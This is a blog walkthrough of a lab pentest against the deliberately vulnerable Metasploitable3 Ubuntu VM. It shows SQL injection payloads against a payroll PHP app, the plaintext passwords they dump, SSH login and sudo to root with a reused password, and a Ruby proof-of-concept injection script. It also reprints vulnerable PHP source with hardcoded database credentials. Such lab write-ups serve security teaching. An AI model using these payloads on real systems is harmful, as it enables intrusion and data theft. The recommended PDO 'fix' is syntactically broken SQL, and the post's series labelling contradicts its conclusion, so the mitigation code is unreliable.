July 08, 2018
This post is part of a series on the Ubuntu Linux version of Metasploitable3. The following posts are part of the series:
- Part 1: Building the Ubuntu Linux Version
- Part 2: Customizing the Ubuntu Linux Version
- Part 3: Pentesting the Ubuntu Linux Version - SQL Injection
- Part 4: Pentesting the Ubuntu Linux Version - Attacking Services (You are here!)
Contents
Introduction
My previous two posts covered Building Metasploitable3 and then Customizing Metasploitable3 where I specified the steps required to build and customize the Metasploitable3 Ubuntu Linux version. In this post, we wrap up this series of posts by performing a pentest, or security audit, on the default Metasploitable3 Ubuntu Linux system.
Basic Configuration: Target System
The default Metasploitable3 Ubuntu Linux version was used as the target. The default ubuntu_14.04.json
Packer template was used to build the virtual machine, and no modifications to the default configuration were made. The virtual machine was hosted in VMWare Workstation. The network configuration was set to Host-Only and the IP address was set to: 192.168.19.20
.
Basic Configuration: Attack System
Kali Linux version 2018.2 was used as the attack system. The virtual machine used was downloaded from Offensive Security. The only modifications to the system were that an update was performed. Again, the network configuration was set to Host-Only and the IP address was set to: 192.168.19.10
.
Overview of Flags
According to the flags.rb
Chef recipe in the metasploitable cookbook, there are a total of 10 flags in the default metasploitable3 Ubuntu Linux version. They are listed below for reference:
- 10 of Clubs (no difficulty specified)
- 7 of Diamonds (no difficulty specified)
- 10 of Spades (easy)
- 8 of Clubs (easy)
- 3 of Hearts (easy)
- 9 of Diamonds (easy)
- 5 of Diamonds (hard)
- 2 of Spades (hard)
- 8 of Hearts (hard)
- Joker red (hard)
The difficulty rating is gained from the flags recipe used when building the virtual machine. The listing is only for reference, and finding the flags is not the goal of this post. However, leave a comment if you are interested, and I could investigate this in the future.
Initial Assessment
As usual, starting with a port scan seems like a logical first step. The results of a basic service scan are displayed below:
root@kali:~# nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml 192.168.19.20
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-04 17:50 EDT
Nmap scan report for 192.168.19.20
Host is up (0.00032s latency).
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open irc UnrealIRCd
8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 00:0C:29:00:43:58 (VMware)
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.18 seconds
The port scan revealed a number of open ports running interesting services. Maybe I have been doing too much web application security, but port 80 and 8181 peaked my interest. Same with port 6697, running UnrealIRCd - which I remember exploiting on Metasploitable2. Ports 21 and 22 were also of interest.
Port 80: Payroll Web Application
Checking out port 80 using Firefox in Kali Linux revealed directory listing containing a number of entries. The entries are displayed in the figure below:
The first item of interest was payroll_app.php
. This file loaded a Payroll Login system. The nmap
output had identified a MySQL server running on Metasploitable3. Instantly, an SQL injection attack came to mind. So I started with the classic ' OR 1=1#
.
After entering the SQL injection attack in the User input box, I hit OK. Seems like no password was required to be entered. The SQL injection revealed a total of 15 users in the Payroll App. It seems like the is some terrible handling of user input that constructs the SQL statements. String concatenation no doubt! The output of the SQL injection attack is displayed below:
Instantly it is obvious that the web application requires four properties must be returned: Username, First Name, Last Name, and Salary. This information is based on the fact that the webpage displays a table that has these four columns. We already know that there is a database on the server, nmap
reported that MySQL was running on the default port 3306. Next step: determine the MySQL version that installed. The next step was to execute the following SQL injection attack:
' UNION SELECT null,null,null,@@version#
This revealed that the following MySQL version was running: 5.5.60-0ubuntu0.14.04.1
. Just as a quick summary, the above SQL injection uses the UNION
statement, which simply provides the ability to execute two SQL statements. The two at symbols (@@
) refer to a global variable available in SQL, and the version
command will dump the SQL database version for us. The three null
entries are because the web application wants to print four columns in a table. Using null
means the web application should print an empty entry in the first three columns.
From here it is only too easy. One can guess that each of the users in the database must have a password. We already know the username, as that information was gathered in the first SQL injection attack. Furthermore, it can be assumed that we are querying a table of user information, most likely called users
. This table will most likely have passwords in it too - this is how a user will be able to login to the Payroll App. Putting all this information together, we can attempt to dump the password information using the following SQL injection attack:
' OR 1=1 UNION SELECT null,null,username,password FROM users#
Again, we can utilize null
to print nothing in the first two columns. Without this addition, the web application will fail to load correctly. Looks like we got lucky:
In the above figure, we can see the bottom of the first SQL query results. This is the same as the first SQL injection attack (' OR 1=1#
). Following that, the last two columns display the username and password, in plaintext, for each of the 15 users.
I was hoping that the user credentials dumped from the MySQL database were not the same credentials used for system authentication… turns out they are! A quick SSH test to Metasploitable3 gained access as the user: leia_organa
using the password: help_me_obiwan
.
root@kali:~# ssh leia_organa@192.168.19.20
The authenticity of host '192.168.19.20 (192.168.19.20)' can't be established.
ECDSA key fingerprint is SHA256:qvGI7uYbIIalZ0vugejoVujPrAEtQ3d8nvs2K+DMLBc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.19.20' (ECDSA) to the list of known hosts.
leia_organa@192.168.19.20's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
* Documentation: https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
leia_organa@metasploitable3-ub1404:~$
A quick check of the available groups indicated that sudo access was achieved.
leia_organa@metasploitable3-ub1404:~$ groups
users sudo
A simple check to gain root access:
leia_organa@metasploitable3-ub1404:~$ sudo -s
[sudo] password for leia_organa:
root@metasploitable3-ub1404:~#
Game over. I hadn’t even opened the Metasploit Framework yet and had full root access to the system! This really shows the power of SQL injection attacks against a poorly coded web application. It makes a great learning exercise, especially for those new to web application security and pentesting. I would like to think that such blatant security issues do not still exist in the wild… however, the OWASP Top 10-2017 still list injection vulnerabilities as the number 1 security issue in web applications.
Reviewing the Payroll App Source Code
Breaking the Payroll App was fun! However, it is prudent that we review the source code that leads to this. Instead of looking at the source from the build process, we shall investigate the source code from the running system. Firstly, the following command attempts to find any occurrences of the word payroll on the system:
leia_organa@metasploitable3-ub1404:~$ sudo find / -iname "*payroll*" 2> /dev/null
/var/lib/mysql-default/payroll
/var/www/html/payroll_app.php
/home/kylo_ren/poc/payroll_app
A total of three search hits. Even from the naming and location, we can gather a lot of information about these:
/var/lib/mysql-default/payroll
: A folder in for MySQL, most likely contains the database named payroll, with one or more tables./var/www/html/payroll_app.php
: The website we performed the SQL Injection attack against. Will contain the source code, written in PHP, that powers the Payroll App./home/kylo_ren/poc/payroll_app
: This one is a little strange. It is a directory in the home folder of thekylo_ren
user. If the Star Wars movies are anything to go by, this is probably something malicious!
Kylo Ren’s Ruby Exploit
It would make the most logical sense to start with the PHP source code for the website… However, I am fascinated by what is in kylo_ren
s home folder. A quick listing of the folder revealed one file called: poc.rb
, that had the following contents:
require 'net/http'
url = "http://127.0.0.1/payroll_app.php"
uri = URI(url)
user = 'luke_skywalker'
injection = "password'; select password from users where username='' OR ''='"
puts "Making POST request to #{uri} with the following parameters:"
puts "'user' = #{user}"
puts "'password' = #{injection}"
res = Net::HTTP.post_form(uri, 'user' => user, 'password' => injection, 's' => 'OK')
puts "Response body is #{res.body}"
puts "Done"
Considering that Kylo is neck-deep in the dark side, it comes as no surprise he has a malicious Ruby script that attacks the Payroll App website. The script automates a similar attack to what we performed earlier. Kylo uses the username luke_skywalker
and a password that is a SQL injection attack. The actual SQL Injection entered is:
password'; select password from users where username='' OR ''='
Comparing this to the initial attack we performed early is interesting. It also revealed some more useful information about the SQL Injection vulnerability. Turns out, an attacker can enter any username and password combination on the page and review results. I initially thought that a user would have to authenticate (with username and password) before any information was displayed. Turns out that the web application returns an empty table when the incorrect username and password are entered. Interesting.
Anyway, the resultant output of the attack lists all the passwords for the users in the database. However, it does not list the username next to the password, so some guessing and/or correlation needs to be performed. To run the script, use the following command:
leia_organa@metasploitable3-ub1404:/home/kylo_ren/poc/payroll_app$ ruby poc.rb
The output of the script is listed below, with some formatting applied to the HTML portion to enhance readability:
Making POST request to http://127.0.0.1/payroll_app.php with the following parameters:
'user' = luke_skywalker
'password' = password'; select password from users where username='' OR ''='
Response body is
<center>
<h2>Welcome, luke_skywalker</h2>
<br>
<table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>
<tr>
<th>Username</th>
<th>First Name</th>
<th>Last Name</th>
<th>Salary</th>
</tr>
<center>
<h2>Welcome, luke_skywalker</h2>
<br>
<table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>
<tr>
<th>Username</th>
<th>First Name</th>
<th>Last Name</th>
<th>Salary</th>
</tr>
<tr><td>help_me_obiwan</td></tr>
<tr><td>like_my_father_beforeme</td></tr>
<tr><td>nerf_herder</td></tr>
<tr><td>b00p_b33p</td></tr>
<tr><td>Pr0t0c07</td></tr>
<tr><td>thats_no_m00n</td></tr>
<tr><td>Dark_syD3</td></tr>
<tr><td>but_master:(</td></tr>
<tr><td>mesah_p@ssw0rd</td></tr>
<tr><td>@dm1n1str8r</td></tr>
<tr><td>mandalorian1</td></tr>
<tr><td>my_kinda_skum</td></tr>
<tr><td>hanSh0tF1rst</td></tr>
<tr><td>rwaaaaawr8</td></tr>
<tr><td>Daddy_Issues2</td></tr>
</table>
</center>
Done
Vulnerabilities in the payroll_app.php
Source Code
OK, that was interesting, but back to business. We are going to analyze the actual web application code that is causing the SQL Injection vulnerability. The previous results from the find
command indicated that the web application was stored in the default location of /var/www/html
. The file can easily be viewed using: cat /var/www/html/payroll_app.php
. After having a quick browse over the code, there are three main blocks:
- PHP code to connect to the database
- HTML code to produce the form on the Payroll App page
- PHP code to post the contents of the form
The first part of the payroll_app.php
code connects to the local MySQL database. The code is listed below for reference.
<?php
$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
Unfortunately, the username and password (and database name) are documented in clear text. The user account is root
, the password is sploitme
and the database name is payroll
. This information had not yet been found and allows connection to the MySQL database. For example, you could use the command: mysql -uroot -psploitme
to connect to the MySQL database and execute commands (e.g., replace users, change passwords, remove or add tables etc.).
The next chunk of the payroll_app.php
is boring. It is a simple form to let users login. It is displayed below for thoroughness.
<?php
if (!isset($_POST['s'])) {
?>
<center>
<form action="" method="post">
<h2>Payroll Login</h2>
<table style="border-radius: 25px; border: 2px solid black; padding: 20px;">
<tr>
<td>User</td>
<td><input type="text" name="user"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="OK" name="s">
</tr>
</table>
</form>
</center>
<?php
}
?>
The final portion of the payroll_app.php
is where the action happens. If a form post is submitted, the following code is executed. Basically, when the form is submitted it executes a query against the database and displays the results of the SQL query in a table. The posted values are, of course, the username
and password
values from the HTML login form. The entire block of code is displayed below:
<?php
if($_POST['s']){
$user = $_POST['user'];
$pass = $_POST['password'];
$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";
if ($conn->multi_query($sql)) {
do {
/* store first result set */
echo "<center>";
echo "<h2>Welcome, " . $user . "</h2><br>";
echo "<table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>";
echo "<tr><th>Username</th><th>First Name</th><th>Last Name</th><th>Salary</th></tr>";
if ($result = $conn->store_result()) {
while ($row = $result->fetch_assoc()) {
$keys = array_keys($row);
echo "<tr>";
foreach ($keys as $key) {
echo "<td>" . $row[$key] . "</td>";
}
echo "</tr>\n";
}
$result->free();
}
if (!$conn->more_results()) {
echo "</table></center>";
}
} while ($conn->next_result());
}
}
?>
Our worst fears have come to light! Yes, the web application is leveraging string concatenation to build an SQL query. Gah! For those new to SQL Injection, forming SQL statements using string concatenation is really bad practice! It basically allows an attacker to craft their own SQL statement. If you are interested in more information about this topic, leave a comment and I can write a thorough post about it in the future.
The summary of the problem is this line:
$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";
To save you scrolling up, our SQL Injection that dumped the user passwords was:
' OR 1=1 UNION SELECT null,null,username,password FROM users#
If we combine the two, our resultant SQL Injection attack is:
$sql = "select username, first_name, last_name, salary from users where username = '' OR 1=1 UNION SELECT null,null,username,password FROM users#' and password = ''";
This SQL Injection attack successfully leverages the weakness in string concatenation by altering the logic in the SQL query. As a quick summary:
- All users are displayed including the username, first name, last name and salary
-
This is because the first SQL query is always true:
username = ""
is always false1=1
is always trueusername = "" OR 1=1
is therefore, always true
- The
UNION
statement allows execution of an additional SQL statement where we leverage it to dump the username and password for each user
OK, that is interesting… but how can we fix this specific problem?
Mitigating SQL Injection Attacks Against payroll_app.php
This is the final topic we want to investigate in this post. Determining how we can fix the SQL Injection vulnerability. For web application security, the go-to resource is the Open Web Application Security Project or OWASP. They provide recommendations on how to correctly secure web applications. OWASP outline an SQL Injection Prevention Cheat Sheet which outlines good practice to mitigate SQL Injection vulnerabilities.
We will not cover every aspect of mitigation, but will briefly discuss Defense Option 1: Prepared Statements (with Parameterized Queries). OWASP recommend to use prepared statements to mitigate SQL Injection vulnerabilities. The specific recommendation for PHP is:
- Use PDO with strongly typed parameterized queries (using bindParam())
PHP Data Objects, or PDO, is the solution. Unfortunately, it is not a quick solution; for example, changing just the sql
construction method. The bulk of the code to query the database and print the HTML table would require a re-write. Instead of a complete answer, a small comparison of the original SQL string and a PDO construct is sufficient.
The code below is the original method used to create the SQL statement using the user input:
$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";
The code below is a quick summary of what it should be, using PDO.
$sql = $conn->prepare("SELECT FROM users (username, first_name, last_name, salary) WHERE username = :user AND password = :pass)";
Like I briefly mentioned, making the change above would require additional modification of the source code, including the method used to connect to the MySQL database too. If you are interested in this, please leave a comment below, it might be a good topic for another blog post. A very good tutorial on PDO is the (The only proper) PDO tutorial, it is definitely worth a read.
Conclusion
This tutorial was the first in a series about pentesting the Metasploitable3 Ubuntu Linux version. Hopefully, this tutorial gave you some ideas and knowledge about the SQL injection vulnerabilities in the Payroll App that is running on the Metasploitable3 server. However, the most important part of this post is the review of the source code of the Payroll App and understanding why SQL Injection vulnerabilities are present and how and why SQL injection attacks occur.
In the next post, we will look at other open ports on Metasploitable3, the services that are running, and use the Metasploit Framework to exploit some vulnerabilities. Hope you enjoyed the post, and please leave a comment if you have any questions or information to share!